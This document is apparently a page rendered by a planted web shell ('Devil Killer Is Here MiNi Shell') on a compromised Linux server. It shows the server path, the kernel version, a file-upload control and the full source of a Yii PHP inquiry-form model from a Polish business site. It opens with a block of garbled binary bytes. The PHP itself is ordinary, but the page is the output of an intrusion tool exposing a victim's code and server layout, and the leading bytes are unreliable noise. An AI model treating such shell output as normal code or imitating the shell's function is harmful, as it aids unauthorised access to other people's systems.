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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/models/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/models/InquiryForm.php

<?php
namespace frontend\models;

use Yii;
use yii\base\Model;
use common\models\Inquiries;
use common\models\InquiriesAttachments;
use common\models\Users;
use common\models\UsersContactData;
use common\models\Companies;
use common\models\CompaniesContactData;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsTabs;
use common\models\CompaniesPresentationsHasPresentationsTags;
use common\models\PresentationsPackages;
use common\models\PresentationsTabs;
use common\models\PresentationsTags;
use common\models\Countries;
use common\models\Emails;
use common\models\Portals;
use common\models\GeoPna;
use common\models\types\Status;
use common\models\types\ContactDataType;
use common\models\types\UserProfile;
use common\models\Regions;

/**
 * Inquiry form
 */
class InquiryForm extends Model
{
    use \common\components\traits\DirectoriesFunctions;
    
    public $id_user;
    public $id_company;
    public $or_simple;
    public $or_company;
    public $id_portal;
    
    public $forename;
    public $surname;
    public $email_1;
    public $phone_1;
    
    public $company_name;
    public $tax_id;
    public $id_country;
    public $locality;
    public $postcode;
    public $region;
    public $street;
    public $building_number;
    public $apartment_number;
    public $email_2;
    public $phone_2;
    public $fax;
    public $skype;
    public $fb;
    public $www;
    
    public $accept_rules;
    public $captcha;
    public $content;
    public $attachments;
    
    public $or_filter_by_regions;
    public $filter_regions;
    
    protected $lat;
    protected $lng;
    
//    protected $idUser = null;
//    protected $idCompany = null;
    
    protected $files;
    
    public $uploadedFiles = [];
    
    /**
     * @inheritdoc
     */
    public function scenarios()
    {
        $scenarios = parent::scenarios();
        $scenarios['create'] = [
            'id_company', 'or_simple', 'or_company', 'forename', 'surname', 'email_1', 'phone_1', 'accept_rules', 'captcha', 'company_name', 'tax_id', 
            'id_country', 'locality', 'postcode', 'region', 'street', 'building_number', 'apartment_number', 'phone_2', 'www', 'email_2', 
            'fax', 'skype', 'fb', 'or_filter_by_regions', 'filter_regions', 'content', 'attachments'
        ];
        $scenarios['create_simple'] = [
            'id_company', 'or_company', 'forename', 'surname', 'email_1', 'phone_1', 'accept_rules', 'captcha', 'company_name', 'tax_id', 
            'id_country', 'locality', 'postcode', 'region', 'street', 'building_number', 'apartment_number', 'phone_2', 'www', 'email_2', 
            'fax', 'skype', 'fb', 'content', 'attachments'
        ];
        
        return $scenarios;                
    }
    
    /**
     * @inheritdoc
     */
    public function rules()
    {      
        $idUser = $this->id_user;
        $rules = [
            ['id_user', 'default'],
            ['id_user', 'number', 'integerOnly' => true, 'min' => 1],
            ['id_user', 'exist', 'targetClass' => Users::className(), 'targetAttribute' => 'id_user', 'filter' => ['status' => Status::ACTIVE]],
            
            ['id_company', 'default'],
            ['id_company', 'number', 'integerOnly' => true, 'min' => 1],
            
            ['or_simple', 'default', 'value' => 0],
            ['or_simple', 'required'],
            ['or_simple', 'number', 'integerOnly' => true, 'min' => 0, 'max' => 1],
            
            ['or_company', 'default', 'value' => 0],
            ['or_company', 'number', 'integerOnly' => true, 'min' => 0, 'max' => 1],
            
            ['forename', 'required'],
            ['forename', 'string', 'min' => 2, 'max' => 30],
            
            ['surname', 'required'],
            ['surname', 'string', 'min' => 2, 'max' => 40],
            
            ['email_1', 'required'],
            ['email_1', 'string', 'min' => 6, 'max' => 60],
            ['email_1', 'email'],
            
            ['phone_1', 'default'],
            [
                'phone_1', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-id_country').value === 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: {example}.', ['example' => '123456789'])
            ],
            [
                'phone_1', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-id_country').value !== 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: {example}.', ['example' => '+49123456789'])
            ],
            
            ['accept_rules', 'required', 'message' => \Yii::t('frontend', 'Aby dokończyć rejestrację pole musi być zaznaczone.')],
            
            ['captcha', 'required'],
//            ['captcha', \common\components\validators\ReCaptchaValidator::className()],
            ['captcha', 'captcha', 'captchaAction' => 'zapytania/captcha'],
            
            ['id_portal', 'required'],
            ['id_portal', 'number', 'integerOnly' => true, 'min' => 1],
            ['id_portal', 'exist', 'targetClass' => Portals::className(), 'targetAttribute' => 'id_portal'],
            
            ['company_name', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_company').checked; }"],
            ['company_name', 'string', 'min' => 3, 'max' => 255],
            
            ['tax_id', 'required', 'when' => function($model) { return intval($model->or_company) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_company').checked; }"],
            ['tax_id', 'string', 'min' => 10, 'max' => 30],
            
//            ['id_country', 'required'],
            ['id_country', 'string', 'min' => 2, 'max' => 2],
            ['id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
            
//            ['locality', 'required'],
            ['locality', 'string', 'min' => 3, 'max' => 60],
            
//            ['postcode', 'required'],
            ['postcode', 'string', 'max' => 10],
            
//            ['region', 'required'],
            ['region', 'string', 'min' => 3, 'max' => 60],
            
//            ['street', 'required'],
            ['street', 'string', 'min' => 3, 'max' => 80],
            
//            ['building_number', 'required'],
            ['building_number', 'string', 'max' => 15],
            
            ['apartment_number', 'default'],
            ['apartment_number', 'string', 'max' => 10],
            
            ['phone_2', 'default'],
            [
                'phone_2', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-id_country').value === 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: {example}.', ['example' => '123456789'])
            ],
            [
                'phone_2', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-id_country').value !== 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: {example}.', ['example' => '+49123456789'])
            ],
            
            ['www', 'default'],
            ['www', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],
            
            ['email_2', 'default'],
            ['email_2', 'string', 'min' => 6, 'max' => 60],
            ['email_2', 'email'],
            ['email_2', 'trim'],
            
            ['fax', 'default'],
            ['fax', 'string', 'min' => 6, 'max' => 60],
                    
            ['skype', 'default'],
            ['skype', 'string', 'min' => 6, 'max' => 60],
                    
            ['fb', 'default'],
            ['fb', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],
                    
            ['or_filter_by_regions', 'default', 'value' => 0],
            ['or_filter_by_regions', 'number', 'integerOnly' => true, 'min' => 0, 'max' => 1],
                    
            ['filter_regions', 'each', 'rule' => ['number', 'integerOnly' => true, 'min' => 1]],
            ['filter_regions', 'each', 'rule' => ['exist', 'targetClass' => Regions::className(), 'targetAttribute' => 'id_region', 'filter' => ['id_country' => 'PL']]],
                
            ['content', 'required'],
            ['content', 'string'],
                    
            ['attachments', 'file', 'extensions' => ['doc', 'docx', 'odt', 'wpd', 'wps', 'rtf', 'txt', 'csv', 'uot', 'psw', 'xls', 'xlt', 'xlsx', 'xltx', 'uos', 'pxl', 'ppt', 'pps', 'pptx', 'uop', 'pdf', 'jpg', 'png', 'gif', 'psd', 'odf', 'cdr', 'zip', 'rar', '7z', 'iso', 'tar', 'bz2', 'gz', 'apk', 'x_t', 'stp', 'step', 'igs'], 'maxFiles' => 10, 'maxSize' => 20971520, 'checkExtensionByMimeType' => true, 'skipOnEmpty' => true],
        ];
            
//        if(!empty($idUser)) {
//            $rules[] = ['id_company', 'required', 'when' => function($model) { return intval($model->or_company) !== 0; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_company').checked; }"];
            $rules[] = ['id_company', 'exist', 'targetClass' => Companies::className(), 'targetAttribute' => 'id_company', 'filter' => ['status' => Status::ACTIVE, 'id_user' => $idUser], 'when' => function($model) { return intval($model->or_company) !== 0; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_company').checked; }"];            
//        } 
//        else {
//            $rules[] = ['id_company', 'exist', 'targetClass' => Companies::className(), 'targetAttribute' => 'id_company', 'filter' => ['status' => Status::ACTIVE]];
//        }
        
        return $rules;
    }
    
    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            'or_simple' => 'Proste zapytanie',
            'id_user' => 'ID użytkownika',
            'id_company' => 'ID firmy',
            'forename' => 'Imię',
            'surname' => 'Nazwisko',
            'email_1' => 'E-mail',
            'phone_1' => 'Telefon',
            'id_portal' => 'Portal',
            'company_name' => 'Nazwa firmy',
            'id_country' => 'Kraj',
            'postcode' => 'Kod pocztowy',
            'region' => 'Województwo',
            'locality' => 'Miejscowość',
            'street' => 'Ulica',
            'building_number' => 'Nr budynku',
            'apartment_number' => 'Nr lokalu',
            'phone_2' => 'Drugi telefon',
            'www' => 'Strona WWW',
            'email_2' => 'Alternatywny e-mail',
            'tax_id' => 'NIP',
            'fax' => 'Faks',
            'skype' => 'Skype',
            'fb' => 'Profil FB',
            'or_company' => 'Składam zapytanie jako',
            'type' => 'Rodzaj zapytania',
            'accept_rules' => 'Zapoznałam/em się z regulaminem.',
            'captcha' => 'Przepisz kod z obrazka',
            'or_filter_by_regions' => 'Filtruj wg województw',
            'filter_regions' => 'Województwa',
            'content' => 'Treść zapytania',
            'attachments' => 'Załączniki'
        ];
    }
    
    public function beforeValidate() {
        if(parent::beforeValidate()) {
            if(!$this->or_company) {
                $this->id_company = null;
            }
            return true;
        } else {
            return false;
        }
    }
    
    public function createInquiry($type, $items, $categories)
    {
        if(empty($items) && !is_array($items)) {
            $items = [];
        }
        if(empty($categories) && !is_array($categories)) {
            $categories = [];
        }
        
        $model = new Inquiries(['scenario' => 'create']);
        $model->id_portal = Yii::$app->params['modelPortal']->id_portal;
        $model->id_user = !empty($this->id_user) ? $this->id_user : null;
        $model->id_company = !empty($this->id_company) ? $this->id_company : null;
        $model->content = $this->content;
        $model->status = \common\models\types\InquiryStatus::NEW_CREATED;
        $model->inquiry_type = $type;
        $model->inquiry_source = \common\models\types\InquirySource::PORTAL;
        $model->or_simple = intval($this->or_simple);
        //@todo tutaj dopisać obsługę "typu" czyli zapytanie ofertowe / zwykła wiadomość....
        switch($type) {
            case \common\models\types\InquiryType::COMPANIES:
                $idFieldName = 'id_company';
                break;
            case \common\models\types\InquiryType::PRODUCTS:
                $idFieldName = 'id_product';
                break;
            case \common\models\types\InquiryType::BOOKSTORE:
                $idFieldName = 'id_book';
                break;
        }
        $model->data = [
            'items' => !empty($items) ? array_map('intval', \yii\helpers\ArrayHelper::getColumn($items, $idFieldName)) : [],
            'categories' => !empty($categories) ? array_map('intval', \yii\helpers\ArrayHelper::getColumn($categories, 'id_category')) : [],
            'filters' => [
                'regions' => ($this->or_filter_by_regions && !empty($this->filter_regions)) ? array_map('intval', $this->filter_regions) : []
            ]
        ];
//        $model->inquiry_data = json_encode($model->data);
        $model->inquiry_data = $model->data; //#JSON-hack#   
        $senderData = [
            'forename' => $this->forename,
            'surname' => $this->surname,
            'email_1' => $this->email_1,
            'phone_1' => $this->phone_1,
            'id_country' => $this->id_country,
            'region' => $this->region,
            'locality' => $this->locality,
            'postcode' => $this->postcode,
            'street' => $this->street,
            'building_number' => $this->building_number,
            'apartment_number' => $this->apartment_number,
            'email_2' => $this->email_2,
            'phone_2' => $this->phone_2,
            'fb' => $this->fb,
            'skype' => $this->skype
        ];
        if($this->or_company) {
            $senderData['company_name'] = $this->company_name;
            $senderData['tax_id'] = $this->tax_id;
            $senderData['fax'] = $this->fax;
            $senderData['www'] = $this->www;
        }        
//        $model->sender_data = json_encode($senderData);
        $model->sender_data = $senderData; //#JSON-hack#   
        
        if(!$model->validate() || !$model->save(false)) { 
            return false;
        }
        
        $idsInquiryAttachments = $this->createInquiryAttachments($model->id_inquiry);
        
        if($idsInquiryAttachments === false) {
            return false;
        }
        
        return $model->id_inquiry;
    }
    
//    public function createAccount()
//    {      
//        $this->idUser = $this->createUser();
//        if(!$this->idUser) {
//            return false;
//        } 
//        
//        //tworzenie wpisów w tabeli users_contact_data
//        $idsUserContactData = $this->createUserContactData();
//        if($idsUserContactData === false) {
//            return false;
//        }
//
//        //tworzenie wpisu w tabeli users_address
//        $idUserAddress = $this->createUserAddress();
//        if($idUserAddress === false) {
//            return false;
//        }
//
//        if(!empty($this->or_company)) {
//            //tworzenie wpisu w tabeli companies        
//            $this->idCompany = $this->createCompany($this->idUser);
//            if(!$this->idCompany) {
//                return false;
//            } 
//
//            //tworzenie wpisu w tabeli companies_invoicing_data
//            $idCompanyInvoicingData = $this->createCompanyInvoicingData();
//            if(!$idCompanyInvoicingData) {
//                return false;
//            } 
//
//            //tworzenie wpisów w tabeli companies_contact_data
//            $idsCompanyContactData = $this->createCompanyContactData();
//            if($idsCompanyContactData === false) {
//                return false;
//            }
//        }
//        
//        //tworzenie klucza umożliwiające aktywację konta
//        $modelUsersActivations = \common\models\UsersActivations::generate($this->idUser);
//        if(empty($modelUsersActivations)) {
//            return false;
//        }
//        
//        return $modelUsersActivations->key;
//    }
    
//    protected function createUser()
//    {
//        $password = '';
//        $password .= substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 2);      
//        $password .= substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 2);
//        $password .= substr(str_shuffle("0123456789"), 0, 2);      
//        $password .= substr(str_shuffle("-_#$@!%&*()?^"), 0, 2);
//        $password = str_shuffle($password);
//        
//        $modelUser = new Users(['scenario' => 'create']);
//        $modelUser->login = $this->email_1;
////        $modelUser->email = $this->email_1;
////        $modelUser->phone = $this->phone_1;
//        $modelUser->generateHashPassword($password);
//        $modelUser->generateAuthKey();
//        $modelUser->forename = $this->forename;
//        $modelUser->surname = $this->surname;
//        $modelUser->status = Status::INACTIVE;
//        $modelUser->profile = $this->or_company ? UserProfile::COMPANY : UserProfile::USER;
//        if(!$modelUser->validate() || !$modelUser->save(false)) {  
//            return false;
//        } 
//        
//        return $modelUser->id_user;
//    }
    
//    protected function createUserContactData()
//    {        
//        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
//        $idsUserContactData = [];
//        $order = 1;
//        if(!empty($this->email_1)) {
//            $emailPurposes = [];
//            foreach(Emails::$purposesFields as $purposeField) {
//                $emailPurposes[$purposeField] = 1;
//            }
//            $emailPurposes['or_contact_person'] = 0;
//            $modelUserContactData = new UsersContactData(['scenario' => 'create']);
//            $modelUserContactData->id_user = $this->idUser;
//            $modelUserContactData->data_label = $contactDataTypesLabels[ContactDataType::EMAIL].(!empty($this->email_2) ? ' 1' : '');
//            $modelUserContactData->data_value = $this->email_1;
//            $modelUserContactData->data_order = $order;
//            $modelUserContactData->data_type = ContactDataType::EMAIL;
//            $modelUserContactData->required = 1;
//            $modelUserContactData->settings = json_encode(['purposes' => $emailPurposes]);
//            if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsUserContactData[] = $modelUserContactData->id_contact_data;
//            unset($modelUserContactData);
//        }
//        
//        if(!empty($this->email_2)) {
//            $emailPurposes = [];
//            foreach(Emails::$purposesFields as $purposeField) {
//                $emailPurposes[$purposeField] = 1;
//            }
//            $emailPurposes['or_contact_person'] = 0;
//            $modelUserContactData = new UsersContactData(['scenario' => 'create']);
//            $modelUserContactData->id_user = $this->idUser;
//            $modelUserContactData->data_label = $contactDataTypesLabels[ContactDataType::EMAIL].(!empty($this->email_1) ? ' 2' : '');
//            $modelUserContactData->data_value = $this->email_2;
//            $modelUserContactData->data_order = $order;
//            $modelUserContactData->data_type = ContactDataType::EMAIL;
//            $modelUserContactData->required = 0;
//            $modelUserContactData->settings = json_encode(['purposes' => $emailPurposes]);
//            if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsUserContactData[] = $modelUserContactData->id_contact_data;
//            unset($modelUserContactData);
//        }        
//        if(!empty($this->phone_1)) {
//            //@todo jest problem z ustaleniem jaki typ telefonu został podany...
//            $modelUserContactData = new UsersContactData(['scenario' => 'create']);
//            $modelUserContactData->id_user = $this->idUser;
//            $modelUserContactData->data_label = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE].(!empty($this->phone_2) ? ' 1' : '');
//            $modelUserContactData->data_value = $this->phone_1;
//            $modelUserContactData->data_order = $order;
//            $modelUserContactData->data_type = ContactDataType::MOBILE_PHONE;
//            $modelUserContactData->required = 1;
//            $modelUserContactData->settings = '{}';
//            if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsUserContactData[] = $modelUserContactData->id_contact_data;
//            unset($modelUserContactData);
//        }
//        if(!empty($this->phone_2)) {
//            //@todo jest problem z ustaleniem jaki typ telefonu został podany...
//            $modelUserContactData = new UsersContactData(['scenario' => 'create']);
//            $modelUserContactData->id_user = $this->idUser;
//            $modelUserContactData->data_label = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE].(!empty($this->phone_1) ? ' 2' : '');
//            $modelUserContactData->data_value = $this->phone_2;
//            $modelUserContactData->data_order = $order;
//            $modelUserContactData->data_type = ContactDataType::MOBILE_PHONE;
//            $modelUserContactData->required = 0;
//            $modelUserContactData->settings = '{}';
//            if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsUserContactData[] = $modelUserContactData->id_contact_data;
//            unset($modelUserContactData);
//        }
//        if(!empty($this->skype)) {
//            $modelUserContactData = new UsersContactData(['scenario' => 'create']);
//            $modelUserContactData->id_user = $this->idUser;
//            $modelUserContactData->data_label = $contactDataTypesLabels[ContactDataType::SKYPE];
//            $modelUserContactData->data_value = $this->skype;
//            $modelUserContactData->data_order = $order;
//            $modelUserContactData->data_type = ContactDataType::SKYPE;
//            $modelUserContactData->required = 0;
//            $modelUserContactData->settings = '{}';
//            if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsUserContactData[] = $modelUserContactData->id_contact_data;
//            unset($modelUserContactData);
//        }
//        if(!empty($this->fb)) {
//            $modelUserContactData = new UsersContactData(['scenario' => 'create']);
//            $modelUserContactData->id_user = $this->idUser;
//            $modelUserContactData->data_label = $contactDataTypesLabels[ContactDataType::FACEBOOK];
//            $modelUserContactData->data_value = $this->fb;
//            $modelUserContactData->data_order = $order;
//            $modelUserContactData->data_type = ContactDataType::FACEBOOK;
//            $modelUserContactData->required = 0;
//            $modelUserContactData->settings = '{}';
//            if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsUserContactData[] = $modelUserContactData->id_contact_data;
//            unset($modelUserContactData);
//        }
//        
//        return $idsUserContactData;
//    }    
    
//    protected function createUserAddress()
//    {        
//        $modelUserAddress = new \common\models\UsersAddresses(['scenario' => 'create']);
//        $modelUserAddress->or_main = 1;
//        $modelUserAddress->id_user = $this->idUser;        
//        $modelUserAddress->label = Yii::t('frontend', 'Główny adres');
//        $modelUserAddress->id_country = $this->id_country;
//        $modelUserAddress->street = $this->street;
//        $modelUserAddress->building_number = $this->building_number;
//        if(!empty($this->apartment_number)) {
//            $modelUserAddress->apartment_number = $this->apartment_number;
//        }
//        $modelUserAddress->postcode = $this->postcode;
//        $modelUserAddress->locality = $this->locality;
//        $modelUserAddress->region = $this->region;
//        if($this->determineLatAndLng()) {
//            $modelUserAddress->lat = $this->lat;
//            $modelUserAddress->lng = $this->lng;
//        }
//        
//        if(!$modelUserAddress->validate() || !$modelUserAddress->save(false)) {
//            return false;
//        } 
//        
//        return $modelUserAddress->id_address;
//    }
    
//    protected function createCompany()
//    {
//        if(empty($this->or_company)) {
//            return true;
//        }
//        
//        $modelCompany = new Companies(['scenario' => 'create']);
//        $modelCompany->id_user = $this->idUser;
//        $modelCompany->id_country = $this->id_country;
//        $modelCompany->name = $this->company_name;
//        $modelCompany->street = $this->street;
//        $modelCompany->building_number = $this->building_number;
//        if(!empty($this->apartment_number)) {
//            $modelCompany->apartment_number = $this->apartment_number;
//        }
//        $modelCompany->postcode = $this->postcode;
//        $modelCompany->locality = $this->locality;
//        $modelCompany->region = $this->region;
//        $modelCompany->status = Status::INACTIVE;
//        if($this->determineLatAndLng()) {
//            $modelCompany->lat = $this->lat;
//            $modelCompany->lng = $this->lng;
//        }
////        list($lat, $lng) = $this->determineLatAndLng();
////        if(!empty($lat)) {
////            $modelCompany->lat = $lat;
////            $modelCompany->lng = $lng;
////        }
//        if(!$modelCompany->validate() || !$modelCompany->save(false)) { 
//            return false;
//        }   
//        
//        return $modelCompany->id_company;
//    }
    
//    protected function createCompanyInvoicingData()
//    {
//        if(empty($this->or_company)) {
//            return true;
//        }
//        
//        $modelCompanyInvoicingData = new \common\models\CompaniesInvoicingData(['scenario' => 'create']);
//        $modelCompanyInvoicingData->id_company = $this->idCompany;        
//        $modelCompanyInvoicingData->name = $this->company_name;
//        $modelCompanyInvoicingData->id_country = $this->id_country;
//        $modelCompanyInvoicingData->street = $this->street;
//        $modelCompanyInvoicingData->building_number = $this->building_number;
//        if(!empty($this->apartment_number)) {
//            $modelCompanyInvoicingData->apartment_number = $this->apartment_number;
//        }
//        $modelCompanyInvoicingData->postcode = $this->postcode;
//        $modelCompanyInvoicingData->locality = $this->locality;
//        $modelCompanyInvoicingData->tax_id = $this->tax_id;
//        
//        if(!$modelCompanyInvoicingData->validate() || !$modelCompanyInvoicingData->save(false)) {
//            return false;
//        } 
//        
//        return $modelCompanyInvoicingData->id_invoicing_data;
//    }
    
//    protected function createCompanyContactData()
//    {
//        if(empty($this->or_company)) {
//            return true;
//        }
//        
//        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
//        $idsCompanyContactData = [];
//        $order = 1;
//        if(!empty($this->email_1)) {
//            $emailPurposes = [];
//            foreach(Emails::$purposesFields as $purposeField) {
//                $emailPurposes[$purposeField] = 1;
//            }
//            $emailPurposes['or_contact_person'] = 0;
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::EMAIL].(!empty($this->email_2) ? ' 1' : '');
//            $modelCompanyContactData->data_value = $this->email_1;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::EMAIL;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = json_encode(['purposes' => $emailPurposes]);
//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }
//        
//        if(!empty($this->email_2)) {
//            $emailPurposes = [];
//            foreach(Emails::$purposesFields as $purposeField) {
//                $emailPurposes[$purposeField] = 1;
//            }
//            $emailPurposes['or_contact_person'] = 0;
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::EMAIL].(!empty($this->email_1) ? ' 2' : '');
//            $modelCompanyContactData->data_value = $this->email_2;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::EMAIL;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = json_encode(['purposes' => $emailPurposes]);
//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }        
//        if(!empty($this->phone_1)) {
//            //@todo jest problem z ustaleniem jaki typ telefonu został podany...
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE].(!empty($this->phone_2) ? ' 1' : '');
//            $modelCompanyContactData->data_value = $this->phone_1;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::MOBILE_PHONE;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = '{}';
//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }
//        if(!empty($this->phone_2)) {
//            //@todo jest problem z ustaleniem jaki typ telefonu został podany...
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE].(!empty($this->phone_1) ? ' 2' : '');
//            $modelCompanyContactData->data_value = $this->phone_2;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::MOBILE_PHONE;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = '{}';
//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }
//        if(!empty($this->www)) {
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::WWW];
//            $modelCompanyContactData->data_value = $this->www;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::WWW;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = '{}';
//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }
//        if(!empty($this->fax)) {
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::FAX];
//            $modelCompanyContactData->data_value = $this->fax;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::FAX;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = '{}';
//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }
//        if(!empty($this->skype)) {
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::SKYPE];
//            $modelCompanyContactData->data_value = $this->skype;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::SKYPE;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = '{}';
